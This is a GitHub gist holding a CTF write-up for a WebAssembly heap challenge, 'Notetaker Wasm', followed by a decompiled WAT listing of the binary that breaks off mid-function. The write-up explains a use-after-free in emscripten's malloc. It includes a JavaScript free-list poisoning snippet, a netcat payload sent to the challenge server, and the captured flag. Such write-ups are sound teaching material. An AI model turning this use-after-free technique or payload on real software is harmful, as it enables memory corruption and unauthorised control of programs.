Skip to content

Instantly share code, notes, and snippets.

@awt-256
Last active June 8, 2022 22:16
Show Gist options
  • Save awt-256/31453164e5c13b56933774d3b0e77f68 to your computer and use it in GitHub Desktop.
Save awt-256/31453164e5c13b56933774d3b0e77f68 to your computer and use it in GitHub Desktop.
Notetaker Wasm - Intended solvepath writeup

Notetaker Wasm - 350pt pwn

Just another heap notetaker challenge - compiled to wasm.

Hints:

  • Old vulnerabilities can become new in wasm

<This will be a (hopefully) in depth guide through the binary>

From the name alone, you can guess there will be some aspect of dynamic allocator misuse, just like any other "notetaker" pwn challenge. Running it once for a test run, and it's pretty clear that it's dynamic allocator misuse - specifically probably Use After Free, since you can write to data even after 'deleting' it.

]=======[ MENU ]=======[
] 1) Print a note      [
] 2) Delete note       [
] 3) Create a note     [
] 4) Write to a note   [
]======================[
Please choose an option (1, 2, 3, 4)
3

Please choose a note (1 to 8 inclusive)
1
Note has been created

]=======[ MENU ]=======[
] 1) Print a note      [
] 2) Delete note       [
] 3) Create a note     [
] 4) Write to a note   [
]======================[
Please choose an option (1, 2, 3, 4)
2

Please choose a note (1 to 8 inclusive)
1
Note has been deleted

]=======[ MENU ]=======[
] 1) Print a note      [
] 2) Delete note       [
] 3) Create a note     [
] 4) Write to a note   [
]======================[
Please choose an option (1, 2, 3, 4)
4

Please choose a note (1 to 8 inclusive)
1
Send note content for note #1
USING THIS AFTER FREE (POTENTIALLY)

To find out more about how this program is actually working, let's dive into the Wasm.

1. Analyzing the Wasm

We are given only provided.wasm. Usually Wasm runs on the web along with javascript glue code, but when the only thing provided is a single Wasm file, only two things could've happened: 1. The js glue code was not provided, but it does exist, or 2. The Wasm is accessing the Web Assembly System Interface or WASI for short. WASI allows standalone Wasm programs to run headlessly, while giving them the ability to print to stdout, read stdin, and etc.

So how do we find out if it's using WASI? Let's check out the Wasm for any easy to find clues.

To convert the Wasm bytecode to the Web Assembly Text format, you can run wasm2wat provided.wasm -o provided.wat --generate-names --fold-exprs --inline-exports --inline-imports (the options enabled allow for easier-to read Wasm)

  (func $wasi_snapshot_preview1.proc_exit (import "wasi_snapshot_preview1" "proc_exit") (type $t5) (param i32))
  (func $wasi_snapshot_preview1.fd_write (import "wasi_snapshot_preview1" "fd_write") (type $t8) (param i32 i32 i32 i32) (result i32))
  (func $wasi_snapshot_preview1.fd_close (import "wasi_snapshot_preview1" "fd_close") (type $t0) (param i32) (result i32))
  (func $wasi_snapshot_preview1.fd_read (import "wasi_snapshot_preview1" "fd_read") (type $t8) (param i32 i32 i32 i32) (result i32))
  (func $wasi_snapshot_preview1.fd_seek (import "wasi_snapshot_preview1" "fd_seek") (type $t16) (param i32 i64 i32 i32) (result i32))

These 5 imports are clear, if not the clearest, signs that the Wasm is built for WASI. Also there's an exported function named _start which is also an indication that it is a WASI Wasm file.

  (func $_start (export "_start") (type $t3)
    (block $B0
      (br_if $B0
        (i32.eqz
          (i32.const 1)))
      (call $f5))
    (call $f17
      (call $f13))
    (unreachable))

More about that _start, just so you know, this is a common function in emscripten compiled C/C++ that uses libc. So now that we know the wasm is likely compiled by emscripten, we need to look into where the actual code is. The _start first sets up the global constructors by calling the first function, then it calls exit(main()), where main is the main code, and exit exits safely. In this case, $f17 is exit and $f13 is main. Naturally, we need to look into main.

    ;; main function
  (func $f13 (type $t2) (result i32)
    (local $l0 i32) (local $l1 i32) (local $l2 i32) (local $l3 i32) (local $l4 i32) (local $l5 i32) (local $l6 i32) (local $l7 i32) (local $l8 i32) (local $l9 i32) (local $l10 i32) (local $l11 i32) (local $l12 i32) (local $l13 i32) (local $l14 i32) (local $l15 i32) (local $l16 i32) (local $l17 i32) (local $l18 i32) (local $l19 i32)

    ;; Make space on the stack
    (local.set $l0
      (global.get $g0))
    (local.set $l1
      (i32.const 16))
    (local.set $l2
      (i32.sub
        (local.get $l0)
        (local.get $l1)))
    (global.set $g0
      (local.get $l2))

As you can see, there's a ton of local variables in this function - that's usually a good sign, it means the Wasm is unminified. Unminified would mean that it shouldn't be too difficult to understand this program (all hand written functions are completely untouched, all code is preserved). The second thing you'll see is a series of instructions that end up decreasing global variable $g0 by 16. In any LLVM compiled Wasm binary, global variable 0 will be the stack pointer. So this code means that 16 bytes of space are allocated on the stack, for the placement of variable's in the function's scope; that'll come in handy later.

For now, we can leave the main function alone as is, we've already gotten quite a lot of info about the Wasm file, such as:

  • Compiled with Emscripten (LLVM)
  • Not minified
  • Built for WASI

With this knowledge, we can start to hone in on how to get the flag.

2. Finding flag

(data $d0 (i32.const 1024) "bcactf{not_the_actual_flag}\00infinity\00-+   0X0x\00-0X+0X 0X-0x+0x 0x\00%15s\00Note has been writte" ;; and etc...

As you can see, there is a flag placed at address 1024, but this is clearly not the flag (since it says not_the_actual_flag). The assumption is that, on the version running on remote, the string at address 1024 will be infact the actual flag, but we'll have to see. Possible ideas routes from here:

  • Since the flag was put into the wasm by the compiler, it's likely being used in some part of the code, or it was somehow forced in. If such code exists, we can see if there's a possibility of accessing or executing it
  • Since there is a chance this is just dynamic allocator misuse, we could possibly get arbitrary read access - if so, we can just read from address 1024

My/the intended solvepath involved the first, since I wasn't able to create a payload the allowed for the 2nd option, although there is probably some sort of way to do it.

So naturally, searching for 1024 in the wasm yields

  (func $f12 (type $t3)
    (local $l0 i32)
    (local.set $l0
      (i32.const 1024))
    (drop
      (call $f35
        (local.get $l0)))
    (return))

and

(func $f69 (type $t11) (param $p0 f64) (param $p1 i32) (result f64)
    (block $B0
      (block $B1
        (br_if $B1
          (i32.lt_s
            (local.get $p1)
            (i32.const 1024)))
        (local.set $p0
          (f64.mul
            (local.get $p0)
            (f64.const 0x1p+1023 (;=8.98847e+307;))))
            ;; etc...

The first instance is part of a very short function. Here's some more info about $f12:

  • Its called within main (see line 730 in the wat)
  • It calls $f35(1024)

Well, this seems like something. Let's dive into $f35:

Function $f35 is called many times in the program, so whatever it is, it is very broadly applicable - possibly a printing function? Other instances of $f35 include : $f35(1443), $f35(1385), $f35(1520), $f35(1349), $f35(1165). And fortunately enough, every single one of these parameters are an address of a string.

  • 1443: Please choose a note (1 to 8 inclusive)
  • 1385: Invalid note index! Index must be from 1 to 8 (inclusive)
  • 1520: Printing note
  • 1349: No space for note? Exitting.

And etc. Each one corresponds to a different string that gets printed during the program, and luckily for us, this same function that's (probably) doing the printing, is also printing the flag.

3. Calling $f12

Inside of this loop within main (which is probably part of the repeating Menu-Printing cycle), there are a couple of checks that are made before calling $f12.

    (block $B0
      (loop $L1
        (local.set $l5
          (i32.load offset=8
            (local.get $l2)))
        (local.set $l6
          (i32.const 1731480678))
        (local.set $l7
          (local.get $l5))
        (local.set $l8
          (local.get $l6))
        (local.set $l9 ;; $l9 is set to (1 or 0) whether or not *((int*) __stack_base (aka EBP)[2] ) is equal to 1731480678

          (i32.eq
            (local.get $l7)
            (local.get $l8)))
        (local.set $l10
          (i32.const 1))
        (local.set $l11 ;; $l11 is set to $l9 & 1
          (i32.and
            (local.get $l9)
            (local.get $l10)))
        (block $B2
          (br_if $B2 (;;;; THIS MEANS IF STATEMENT ;;;;;;)
            (i32.eqz
              (local.get $l11)))
          (call $f12) ;; Call $f32 is $l11 is truthy
          (local.set $l12
            (i32.const 0))
          (i32.store offset=12
            (local.get $l2)
            (local.get $l12))
          (br $B0)) (;;;; Exit out of the loop itself ;;;;;;)

To summarize, I'll convert this to some pseudo code

while (true) {
  if int at offset 8 from EBP == 1731480678 // 0x67344c66
  then {
    call printflag()
  }
}

Where EBP = __stack_pointer - 16 (as shown in section 1). This means that we need to somehow arbitrarily write to __stack_pointer - 8. We can make this more precise but realizing that the __stack_pointer is the same in every instance of the wasm.

(global $g0 (mut i32) (i32.const 5248752))

You can also notice that 0x67344c66 is unicode, and after converting, you will see that it is equivalent to fL4g. How appropriate lol.

Finally putting it all together, we need to write the string value fL4g at address 0x5016e8. Now that the goal is clear, we need to start exploiting.

4. Exploitation in Wasm based malloc

We need to test around with emscripten Wasm's malloc to understand the exploitation potential of a Use After Free bug within the program. To do this, we can set up a testing environment on the web.

#include <stdlib.h>

int main() {return 0;}

If you compile this program with emcc malloc.c -s EXPORTED_FUNCTIONS=_main,_malloc,_free -o index.html. Then, after hosting locally, in your webpage, you can access _free() and _malloc().

I do not have much experience with heap exploitation outside of Wasm (lol), so I'll just cut to the chase here.

const destination = 1000;

const uaf_ptr = _malloc(0x20 /* the size doesn't matter much as long as its all the same and small */) 
_malloc(0x20);
_free(uaf_ptr);
HEAP32[uaf_ptr >> 2] = destination - 0x8
_malloc(0x20);
console.log(_malloc(0x20)); // Prints out destination

So we use this series of techniques to modify the variable at 0x5016e8, and set it to fL4g.

5. Putting it all together

alloc(1)
alloc(2)
free(1)
write(1, u32(0x5016e8 - 8))
alloc(3)
alloc(4)
write(4, "fL4g")
print(4) # just confirmation

And to feed into the netcat: echo -e "3\n1\n3\n2\n2\n1\n4\n1\n\xe0\x16\x50\x00\x00\n3\n3\n3\n4\n4\n4\nfL4g\n1\n4\n" | nc bin.bcactf.com 49180

Interestingly enough, this crashes - due to there not being space before 0x5016e0. I'm not fully knowledgeable about why this is, but I found the fix to this by writing to 0x5016e4 instead of 0x5016e8, and then padding the fL4g by 4 characters (in this case 4 0s). This led to the final payload being

echo -e "3\n1\n3\n2\n2\n1\n4\n1\n\xdc\x16\x50\x00\x00\n3\n3\n3\n4\n4\n4\n0000fL4g\n1\n4\n" | nc bin.bcactf.com 49180

bcactf{e8f73a0ebcd82fcce8a}

(module
(type $t0 (func (param i32) (result i32)))
(type $t1 (func (param i32 i32 i32) (result i32)))
(type $t2 (func (result i32)))
(type $t3 (func))
(type $t4 (func (param i32 i32) (result i32)))
(type $t5 (func (param i32)))
(type $t6 (func (param i32 i64 i64 i64 i64)))
(type $t7 (func (param i32 i32)))
(type $t8 (func (param i32 i32 i32 i32) (result i32)))
(type $t9 (func (param i32 i64 i32) (result i64)))
(type $t10 (func (param i32 i64 i64 i32)))
(type $t11 (func (param f64 i32) (result f64)))
(type $t12 (func (param i32 f64 i32 i32 i32 i32) (result i32)))
(type $t13 (func (param i32 i32 i32 i32)))
(type $t14 (func (param i64 i32) (result i32)))
(type $t15 (func (param i64 i64 i64 i64) (result i32)))
(type $t16 (func (param i32 i64 i32 i32) (result i32)))
(type $t17 (func (param i32 i32 i32 i32 i32) (result i32)))
(type $t18 (func (param i32 i32 i32 i32 i32 i32 i32) (result i32)))
(type $t19 (func (param i32 i32 i32)))
(type $t20 (func (param i64 i32 i32) (result i32)))
(type $t21 (func (param i32 i32 i32 i32 i32)))
(type $t22 (func (param f64) (result i64)))
(type $t23 (func (param i32 i64)))
(type $t24 (func (param i64 i64) (result i32)))
(type $t25 (func (param i32 i64 i64)))
(type $t26 (func (param i32 i32 i32 i32 i32 i32)))
(type $t27 (func (param i32 i32 i32 i32 i32 i32 i32)))
(type $t28 (func (param i32 i32) (result i64)))
(type $t29 (func (param i32 i32 i32 i64) (result i64)))
(type $t30 (func (param i32 i32 i64)))
(type $t31 (func (param i32 f64)))
(type $t32 (func (param i32 f32)))
(type $t33 (func (param i64 i64) (result f64)))
(type $t34 (func (param i64 i64) (result f32)))
(func $wasi_snapshot_preview1.proc_exit (import "wasi_snapshot_preview1" "proc_exit") (type $t5) (param i32))
(func $wasi_snapshot_preview1.fd_write (import "wasi_snapshot_preview1" "fd_write") (type $t8) (param i32 i32 i32 i32) (result i32))
(func $wasi_snapshot_preview1.fd_close (import "wasi_snapshot_preview1" "fd_close") (type $t0) (param i32) (result i32))
(func $wasi_snapshot_preview1.fd_read (import "wasi_snapshot_preview1" "fd_read") (type $t8) (param i32 i32 i32 i32) (result i32))
(func $wasi_snapshot_preview1.fd_seek (import "wasi_snapshot_preview1" "fd_seek") (type $t16) (param i32 i64 i32 i32) (result i32))
(func $f5 (type $t3)
(call $emscripten_stack_init)
(call $f83))
(func $f6 (type $t2) (result i32)
(local $l0 i32) (local $l1 i32) (local $l2 i32) (local $l3 i32) (local $l4 i32) (local $l5 i32) (local $l6 i32) (local $l7 i32) (local $l8 i32) (local $l9 i32) (local $l10 i32) (local $l11 i32) (local $l12 i32) (local $l13 i32) (local $l14 i32) (local $l15 i32) (local $l16 i32) (local $l17 i32) (local $l18 i32) (local $l19 i32) (local $l20 i32) (local $l21 i32) (local $l22 i32) (local $l23 i32) (local $l24 i32) (local $l25 i32) (local $l26 i32) (local $l27 i32) (local $l28 i32) (local $l29 i32)
(local.set $l0
(global.get $g0))
(local.set $l1
(i32.const 16))
(local.set $l2
(i32.sub
(local.get $l0)
(local.get $l1)))
(global.set $g0
(local.get $l2))
(local.set $l3
(i32.const 0))
(i32.store offset=8
(local.get $l2)
(local.get $l3))
(local.set $l4
(i32.const 1443))
(drop
(call $f35
(local.get $l4)))
(local.set $l5
(i32.const 8))
(local.set $l6
(i32.add
(local.get $l2)
(local.get $l5)))
(i32.store
(local.get $l2)
(local.get $l6))
(local.set $l7
(i32.const 1187))
(drop
(call $f36
(local.get $l7)
(local.get $l2)))
(local.set $l8
(i32.load offset=8
(local.get $l2)))
(local.set $l9
(i32.const 0))
(local.set $l10
(local.get $l8))
(local.set $l11
(local.get $l9))
(local.set $l12
(i32.le_s
(local.get $l10)
(local.get $l11)))
(local.set $l13
(i32.const 1))
(local.set $l14
(i32.and
(local.get $l12)
(local.get $l13)))
(block $B0
(block $B1
(block $B2
(br_if $B2
(local.get $l14))
(local.set $l15
(i32.load offset=8
(local.get $l2)))
(local.set $l16
(i32.const 8))
(local.set $l17
(local.get $l15))
(local.set $l18
(local.get $l16))
(local.set $l19
(i32.ge_s
(local.get $l17)
(local.get $l18)))
(local.set $l20
(i32.const 1))
(local.set $l21
(i32.and
(local.get $l19)
(local.get $l20)))
(br_if $B1
(i32.eqz
(local.get $l21))))
(local.set $l22
(i32.const 1385))
(drop
(call $f35
(local.get $l22)))
(local.set $l23
(i32.const -1))
(i32.store offset=12
(local.get $l2)
(local.get $l23))
(br $B0))
(local.set $l24
(i32.load offset=8
(local.get $l2)))
(local.set $l25
(i32.const 1))
(local.set $l26
(i32.sub
(local.get $l24)
(local.get $l25)))
(i32.store offset=12
(local.get $l2)
(local.get $l26)))
(local.set $l27
(i32.load offset=12
(local.get $l2)))
(local.set $l28
(i32.const 16))
(local.set $l29
(i32.add
(local.get $l2)
(local.get $l28)))
(global.set $g0
(local.get $l29))
(return
(local.get $l27)))
(func $f7 (type $t3)
(local $l0 i32) (local $l1 i32) (local $l2 i32) (local $l3 i32) (local $l4 i32) (local $l5 i32) (local $l6 i32) (local $l7 i32) (local $l8 i32) (local $l9 i32) (local $l10 i32) (local $l11 i32) (local $l12 i32) (local $l13 i32) (local $l14 i32) (local $l15 i32) (local $l16 i32) (local $l17 i32) (local $l18 i32) (local $l19 i32)
(local.set $l0
(global.get $g0))
(local.set $l1
(i32.const 16))
(local.set $l2
(i32.sub
(local.get $l0)
(local.get $l1)))
(global.set $g0
(local.get $l2))
(local.set $l3
(call $f6))
(i32.store offset=12
(local.get $l2)
(local.get $l3))
(local.set $l4
(i32.load offset=12
(local.get $l2)))
(local.set $l5
(i32.const -1))
(local.set $l6
(local.get $l4))
(local.set $l7
(local.get $l5))
(local.set $l8
(i32.eq
(local.get $l6)
(local.get $l7)))
(local.set $l9
(i32.const 1))
(local.set $l10
(i32.and
(local.get $l8)
(local.get $l9)))
(block $B0
(block $B1
(br_if $B1
(i32.eqz
(local.get $l10)))
(br $B0))
(local.set $l11
(i32.const 1520))
(drop
(call $f35
(local.get $l11)))
(local.set $l12
(i32.load offset=12
(local.get $l2)))
(local.set $l13
(i32.const 3072))
(local.set $l14
(i32.const 2))
(local.set $l15
(i32.shl
(local.get $l12)
(local.get $l14)))
(local.set $l16
(i32.add
(local.get $l13)
(local.get $l15)))
(local.set $l17
(i32.load
(local.get $l16)))
(drop
(call $f35
(local.get $l17))))
(local.set $l18
(i32.const 16))
(local.set $l19
(i32.add
(local.get $l2)
(local.get $l18)))
(global.set $g0
(local.get $l19))
(return))
(func $f8 (type $t3)
(local $l0 i32) (local $l1 i32) (local $l2 i32) (local $l3 i32) (local $l4 i32) (local $l5 i32) (local $l6 i32) (local $l7 i32) (local $l8 i32) (local $l9 i32) (local $l10 i32) (local $l11 i32) (local $l12 i32) (local $l13 i32) (local $l14 i32) (local $l15 i32) (local $l16 i32) (local $l17 i32) (local $l18 i32) (local $l19 i32)
(local.set $l0
(global.get $g0))
(local.set $l1
(i32.const 16))
(local.set $l2
(i32.sub
(local.get $l0)
(local.get $l1)))
(global.set $g0
(local.get $l2))
(local.set $l3
(call $f6))
(i32.store offset=12
(local.get $l2)
(local.get $l3))
(local.set $l4
(i32.load offset=12
(local.get $l2)))
(local.set $l5
(i32.const -1))
(local.set $l6
(local.get $l4))
(local.set $l7
(local.get $l5))
(local.set $l8
(i32.eq
(local.get $l6)
(local.get $l7)))
(local.set $l9
(i32.const 1))
(local.set $l10
(i32.and
(local.get $l8)
(local.get $l9)))
(block $B0
(block $B1
(br_if $B1
(i32.eqz
(local.get $l10)))
(br $B0))
(local.set $l11
(i32.load offset=12
(local.get $l2)))
(local.set $l12
(i32.const 3072))
(local.set $l13
(i32.const 2))
(local.set $l14
(i32.shl
(local.get $l11)
(local.get $l13)))
(local.set $l15
(i32.add
(local.get $l12)
(local.get $l14)))
(local.set $l16
(i32.load
(local.get $l15)))
(call $f94
(local.get $l16))
(local.set $l17
(i32.const 1143))
(drop
(call $f35
(local.get $l17))))
(local.set $l18
(i32.const 16))
(local.set $l19
(i32.add
(local.get $l2)
(local.get $l18)))
(global.set $g0
(local.get $l19))
(return))
(func $f9 (type $t3)
(local $l0 i32) (local $l1 i32) (local $l2 i32) (local $l3 i32) (local $l4 i32) (local $l5 i32) (local $l6 i32) (local $l7 i32) (local $l8 i32) (local $l9 i32) (local $l10 i32) (local $l11 i32) (local $l12 i32) (local $l13 i32) (local $l14 i32) (local $l15 i32) (local $l16 i32) (local $l17 i32) (local $l18 i32) (local $l19 i32) (local $l20 i32) (local $l21 i32) (local $l22 i32) (local $l23 i32) (local $l24 i32) (local $l25 i32) (local $l26 i32) (local $l27 i32) (local $l28 i32) (local $l29 i32) (local $l30 i32) (local $l31 i32) (local $l32 i32) (local $l33 i32) (local $l34 i32) (local $l35 i32)
(local.set $l0
(global.get $g0))
(local.set $l1
(i32.const 16))
(local.set $l2
(i32.sub
(local.get $l0)
(local.get $l1)))
(global.set $g0
(local.get $l2))
(local.set $l3
(call $f6))
(i32.store offset=12
(local.get $l2)
(local.get $l3))
(local.set $l4
(i32.load offset=12
(local.get $l2)))
(local.set $l5
(i32.const -1))
(local.set $l6
(local.get $l4))
(local.set $l7
(local.get $l5))
(local.set $l8
(i32.eq
(local.get $l6)
(local.get $l7)))
(local.set $l9
(i32.const 1))
(local.set $l10
(i32.and
(local.get $l8)
(local.get $l9)))
(block $B0
(block $B1
(br_if $B1
(i32.eqz
(local.get $l10)))
(br $B0))
(local.set $l11
(i32.const 16))
(local.set $l12
(call $f93
(local.get $l11)))
(local.set $l13
(i32.load offset=12
(local.get $l2)))
(local.set $l14
(i32.const 3072))
(local.set $l15
(i32.const 2))
(local.set $l16
(i32.shl
(local.get $l13)
(local.get $l15)))
(local.set $l17
(i32.add
(local.get $l14)
(local.get $l16)))
(i32.store
(local.get $l17)
(local.get $l12))
(local.set $l18
(i32.load offset=12
(local.get $l2)))
(local.set $l19
(i32.const 3072))
(local.set $l20
(i32.const 2))
(local.set $l21
(i32.shl
(local.get $l18)
(local.get $l20)))
(local.set $l22
(i32.add
(local.get $l19)
(local.get $l21)))
(local.set $l23
(i32.load
(local.get $l22)))
(i32.store offset=8
(local.get $l2)
(local.get $l23))
(local.set $l24
(i32.load offset=8
(local.get $l2)))
(local.set $l25
(i32.const 0))
(local.set $l26
(local.get $l24))
(local.set $l27
(local.get $l25))
(local.set $l28
(i32.eq
(local.get $l26)
(local.get $l27)))
(local.set $l29
(i32.const 1))
(local.set $l30
(i32.and
(local.get $l28)
(local.get $l29)))
(block $B2
(br_if $B2
(i32.eqz
(local.get $l30)))
(local.set $l31
(i32.const 1349))
(drop
(call $f35
(local.get $l31)))
(local.set $l32
(i32.const 1))
(call $f17
(local.get $l32))
(unreachable))
(local.set $l33
(i32.const 1165))
(drop
(call $f35
(local.get $l33))))
(local.set $l34
(i32.const 16))
(local.set $l35
(i32.add
(local.get $l2)
(local.get $l34)))
(global.set $g0
(local.get $l35))
(return))
(func $f10 (type $t3)
(local $l0 i32) (local $l1 i32) (local $l2 i32) (local $l3 i32) (local $l4 i32) (local $l5 i32) (local $l6 i32) (local $l7 i32) (local $l8 i32) (local $l9 i32) (local $l10 i32) (local $l11 i32) (local $l12 i32) (local $l13 i32) (local $l14 i32) (local $l15 i32) (local $l16 i32) (local $l17 i32) (local $l18 i32) (local $l19 i32) (local $l20 i32) (local $l21 i32) (local $l22 i32) (local $l23 i32) (local $l24 i32) (local $l25 i32) (local $l26 i32) (local $l27 i32) (local $l28 i32) (local $l29 i32) (local $l30 i32) (local $l31 i32) (local $l32 i32) (local $l33 i32)
(local.set $l0
(global.get $g0))
(local.set $l1
(i32.const 32))
(local.set $l2
(i32.sub
(local.get $l0)
(local.get $l1)))
(global.set $g0
(local.get $l2))
(local.set $l3
(call $f6))
(i32.store offset=28
(local.get $l2)
(local.get $l3))
(local.set $l4
(i32.load offset=28
(local.get $l2)))
(local.set $l5
(i32.const -1))
(local.set $l6
(local.get $l4))
(local.set $l7
(local.get $l5))
(local.set $l8
(i32.eq
(local.get $l6)
(local.get $l7)))
(local.set $l9
(i32.const 1))
(local.set $l10
(i32.and
(local.get $l8)
(local.get $l9)))
(block $B0
(block $B1
(br_if $B1
(i32.eqz
(local.get $l10)))
(br $B0))
(local.set $l11
(i32.load offset=28
(local.get $l2)))
(local.set $l12
(i32.const 3072))
(local.set $l13
(i32.const 2))
(local.set $l14
(i32.shl
(local.get $l11)
(local.get $l13)))
(local.set $l15
(i32.add
(local.get $l12)
(local.get $l14)))
(local.set $l16
(i32.load
(local.get $l15)))
(i32.store offset=24
(local.get $l2)
(local.get $l16))
(local.set $l17
(i32.load offset=28
(local.get $l2)))
(local.set $l18
(i32.const 1))
(local.set $l19
(i32.add
(local.get $l17)
(local.get $l18)))
(i32.store
(local.get $l2)
(local.get $l19))
(local.set $l20
(i32.const 1535))
(drop
(call $f19
(local.get $l20)
(local.get $l2)))
(local.set $l21
(i32.load offset=24
(local.get $l2)))
(i32.store offset=16
(local.get $l2)
(local.get $l21))
(local.set $l22
(i32.const 1090))
(local.set $l23
(i32.const 16))
(local.set $l24
(i32.add
(local.get $l2)
(local.get $l23)))
(drop
(call $f36
(local.get $l22)
(local.get $l24)))
(local.set $l25
(i32.load offset=24
(local.get $l2)))
(local.set $l26
(i32.load offset=28
(local.get $l2)))
(local.set $l27
(i32.const 3072))
(local.set $l28
(i32.const 2))
(local.set $l29
(i32.shl
(local.get $l26)
(local.get $l28)))
(local.set $l30
(i32.add
(local.get $l27)
(local.get $l29)))
(i32.store
(local.get $l30)
(local.get $l25))
(local.set $l31
(i32.const 1095))
(drop
(call $f35
(local.get $l31))))
(local.set $l32
(i32.const 32))
(local.set $l33
(i32.add
(local.get $l2)
(local.get $l32)))
(global.set $g0
(local.get $l33))
(return))
(func $f11 (type $t2) (result i32)
(local $l0 i32) (local $l1 i32) (local $l2 i32) (local $l3 i32) (local $l4 i32) (local $l5 i32) (local $l6 i32) (local $l7 i32) (local $l8 i32) (local $l9 i32) (local $l10 i32) (local $l11 i32) (local $l12 i32) (local $l13 i32) (local $l14 i32) (local $l15 i32) (local $l16 i32) (local $l17 i32) (local $l18 i32) (local $l19 i32)
(local.set $l0
(global.get $g0))
(local.set $l1
(i32.const 16))
(local.set $l2
(i32.sub
(local.get $l0)
(local.get $l1)))
(global.set $g0
(local.get $l2))
(local.set $l3
(i32.const 1190))
(drop
(call $f35
(local.get $l3)))
(local.set $l4
(i32.const 1291))
(drop
(call $f35
(local.get $l4)))
(local.set $l5
(i32.const 1316))
(drop
(call $f35
(local.get $l5)))
(local.set $l6
(i32.const 1266))
(drop
(call $f35
(local.get $l6)))
(local.set $l7
(i32.const 1241))
(drop
(call $f35
(local.get $l7)))
(local.set $l8
(i32.const 1216))
(drop
(call $f35
(local.get $l8)))
(local.set $l9
(i32.const 1483))
(drop
(call $f35
(local.get $l9)))
(local.set $l10
(i32.const 0))
(i32.store offset=12
(local.get $l2)
(local.get $l10))
(local.set $l11
(i32.const 12))
(local.set $l12
(i32.add
(local.get $l2)
(local.get $l11)))
(i32.store
(local.get $l2)
(local.get $l12))
(local.set $l13
(i32.const 1187))
(drop
(call $f36
(local.get $l13)
(local.get $l2)))
(local.set $l14
(i32.const 1566))
(drop
(call $f35
(local.get $l14)))
(local.set $l15
(i32.load offset=12
(local.get $l2)))
(local.set $l16
(i32.const 1))
(local.set $l17
(i32.sub
(local.get $l15)
(local.get $l16)))
(local.set $l18
(i32.const 16))
(local.set $l19
(i32.add
(local.get $l2)
(local.get $l18)))
(global.set $g0
(local.get $l19))
(return
(local.get $l17)))
(func $f12 (type $t3)
(local $l0 i32)
(local.set $l0
(i32.const 1024))
(drop
(call $f35
(local.get $l0)))
(return))
(func $f13 (type $t2) (result i32)
(local $l0 i32) (local $l1 i32) (local $l2 i32) (local $l3 i32) (local $l4 i32) (local $l5 i32) (local $l6 i32) (local $l7 i32) (local $l8 i32) (local $l9 i32) (local $l10 i32) (local $l11 i32) (local $l12 i32) (local $l13 i32) (local $l14 i32) (local $l15 i32) (local $l16 i32) (local $l17 i32) (local $l18 i32) (local $l19 i32)
(local.set $l0
(global.get $g0))
(local.set $l1
(i32.const 16))
(local.set $l2
(i32.sub
(local.get $l0)
(local.get $l1)))
(global.set $g0
(local.get $l2))
(local.set $l3
(i32.const 0))
(i32.store offset=12
(local.get $l2)
(local.get $l3))
(local.set $l4
(i32.const -1))
(i32.store offset=8
(local.get $l2)
(local.get $l4))
(block $B0
(loop $L1
(local.set $l5
(i32.load offset=8
(local.get $l2)))
(local.set $l6
(i32.const 1731480678))
(local.set $l7
(local.get $l5))
(local.set $l8
(local.get $l6))
(local.set $l9
(i32.eq
(local.get $l7)
(local.get $l8)))
(local.set $l10
(i32.const 1))
(local.set $l11
(i32.and
(local.get $l9)
(local.get $l10)))
(block $B2
(br_if $B2
(i32.eqz
(local.get $l11)))
(call $f12)
(local.set $l12
(i32.const 0))
(i32.store offset=12
(local.get $l2)
(local.get $l12))
(br $B0))
(local.set $l13
(call $f11))
(local.set $l14
(i32.const 3))
(drop
(i32.gt_u
(local.get $l13)
(local.get $l14)))
(block $B3
(block $B4
(block $B5
(block $B6
(block $B7
(block $B8
(br_table $B8 $B7 $B6 $B5 $B4
(local.get $l13)))
(call $f7)
(br $B3))
(call $f8)
(br $B3))
(call $f9)
(br $B3))
(call $f10)
(br $B3))
(local.set $l15
(i32.const 1120))
(drop
(call $f35
(local.get $l15)))
(local.set $l16
(i32.const 0))
(i32.store offset=12
(local.get $l2)
(local.get $l16))
(br $B0))
(br $L1))
(unreachable))
(local.set $l17
(i32.load offset=12
(local.get $l2)))
(local.set $l18
(i32.const 16))
(local.set $l19
(i32.add
(local.get $l2)
(local.get $l18)))
(global.set $g0
(local.get $l19))
(return
(local.get $l17)))
(func $_start (export "_start") (type $t3)
(block $B0
(br_if $B0
(i32.eqz
(i32.const 1)))
(call $f5))
(call $f17
(call $f13))
(unreachable))
(func $f15 (type $t3))
(func $f16 (type $t3)
(local $l0 i32)
(local.set $l0
(i32.const 0))
(block $B0
(br_if $B0
(i32.le_u
(i32.const 0)
(i32.const 0)))
(loop $L1
(call_indirect $__indirect_function_table (type $t3)
(i32.load
(local.tee $l0
(i32.add
(local.get $l0)
(i32.const -4)))))
(br_if $L1
(i32.gt_u
(local.get $l0)
(i32.const 0)))))
(call $f15))
(func $f17 (type $t5) (param $p0 i32)
(call $f15)
(call $f16)
(call $f27)
(call $f18
(local.get $p0))
(unreachable))
(func $f18 (type $t5) (param $p0 i32)
(call $wasi_snapshot_preview1.proc_exit
(local.get $p0))
(unreachable))
(func $f19 (type $t4) (param $p0 i32) (param $p1 i32) (result i32)
(local $l2 i32)
(global.set $g0
(local.tee $l2
(i32.sub
(global.get $g0)
(i32.const 16))))
(i32.store offset=12
(local.get $l2)
(local.get $p1))
(local.set $p1
(call $f55
(i32.const 2608)
(local.get $p0)
(local.get $p1)))
(global.set $g0
(i32.add
(local.get $l2)
(i32.const 16)))
(local.get $p1))
(func $f20 (type $t0) (param $p0 i32) (result i32)
(i32.const 1))
(func $f21 (type $t5) (param $p0 i32))
(func $__errno_location (export "__errno_location") (type $t2) (result i32)
(i32.const 3104))
(func $f23 (type $t2) (result i32)
(i32.shl
(memory.size)
(i32.const 16)))
(func $f24 (type $t0) (param $p0 i32) (result i32)
(i32.const 0))
(func $f25 (type $t5) (param $p0 i32))
(func $f26 (type $t2) (result i32)
(call $f25
(i32.const 3108))
(i32.const 3112))
(func $f27 (type $t3)
(local $l0 i32)
(block $B0
(br_if $B0
(i32.eqz
(local.tee $l0
(i32.load
(call $f26)))))
(loop $L1
(call $f28
(local.get $l0))
(br_if $L1
(local.tee $l0
(i32.load offset=56
(local.get $l0))))))
(call $f28
(i32.load offset=2904
(i32.const 0)))
(call $f28
(i32.load offset=2752
(i32.const 0)))
(call $f28
(i32.load offset=3056
(i32.const 0))))
(func $f28 (type $t5) (param $p0 i32)
(local $l1 i32) (local $l2 i32)
(block $B0
(br_if $B0
(i32.eqz
(local.get $p0)))
(block $B1
(br_if $B1
(i32.lt_s
(i32.load offset=76
(local.get $p0))
(i32.const 0)))
(drop
(call $f20
(local.get $p0))))
(block $B2
(br_if $B2
(i32.eq
(i32.load offset=20
